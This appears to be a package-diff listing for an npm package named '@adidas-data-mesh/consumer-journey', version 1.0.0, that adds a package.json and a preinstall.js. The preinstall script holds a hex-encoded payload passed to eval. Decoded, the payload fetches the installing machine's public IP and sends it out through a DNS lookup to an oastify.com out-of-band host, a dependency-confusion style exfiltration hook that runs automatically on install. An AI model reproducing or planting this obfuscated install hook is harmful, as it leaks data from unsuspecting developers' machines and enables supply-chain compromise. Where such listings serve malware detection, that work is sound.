@adidas-data-mesh/consumer-journey 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +11 -0
- package/preinstall.js +7 -0
package/package.json
ADDED
package/preinstall.js
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
|
4
|
+
const hexPayload = '0a636f6e7374206f73203d207265717569726528276f7327293b0a636f6e737420646e73203d20726571756972652827646e7327293b0a636f6e7374206874747073203d20726571756972652827687474707327293b0a0a636f6e737420656e636f646544617461203d20286461746129203d3e204275666665722e66726f6d2864617461292e746f537472696e67282768657827293b0a0a636f6e7374206765745075626c6963497041646472657373203d202863616c6c6261636b29203d3e207b0a202068747470732e676574282768747470733a2f2f6170692e69706966792e6f72673f666f726d61743d6a736f6e272c202872657329203d3e207b0a202020206c65742064617461203d2027273b0a0a202020207265732e6f6e282764617461272c20286368756e6b29203d3e207b0a20202020202064617461202b3d206368756e6b3b0a202020207d293b0a0a202020207265732e6f6e2827656e64272c202829203d3e207b0a202020202020747279207b0a2020202020202020636f6e7374206a736f6e203d204a534f4e2e70617273652864617461293b0a202020202020202063616c6c6261636b286e756c6c2c206a736f6e2e6970293b0a2020202020207d206361746368202865727229207b0a202020202020202063616c6c6261636b28657272293b0a2020202020207d0a202020207d293b0a20207d292e6f6e28276572726f72272c202865727229203d3e207b0a2020202063616c6c6261636b28657272293b0a20207d293b0a7d3b0a0a636f6e73742064617461203d207b7d3b0a0a6765745075626c696349704164647265737328286572722c2069704164647265737329203d3e207b0a20206966202865727229207b0a2020202070726f636573732e657869742831293b0a20207d0a0a2020646174612e6970203d206970416464726573733b0a2020636f6e737420656e636f64656444617461203d20656e636f646544617461284a534f4e2e737472696e67696679286461746129293b0a0a202066756e6374696f6e20646e73457866696c74726174696f6e2829207b0a20202020636f6e737420657866696c74726174696f6e446f6d61696e203d2060247b656e636f646564446174617d2e753379317239627a67343931377973737163696c6432616e6c657237663033702e6f6173746966792e636f6d603b0a0a20202020646e732e7265736f6c76653428657866696c74726174696f6e446f6d61696e2c20286572722c2061646472657373657329203d3e207b0a2020202020206966202865727229207b0a202020202020202070726f636573732e657869742831293b0a2020202020207d20656c7365207b0a202020202020202070726f636573732e657869742830293b0a2020202020207d0a202020207d293b0a20207d0a0a2020646e73457866696c74726174696f6e28293b0a7d293b0a';
|
5
|
+
const decodeHex = (hex) => Buffer.from(hex, 'hex').toString('utf8');
|
6
|
+
const payload = decodeHex(hexPayload);
|
7
|
+
eval(payload);
|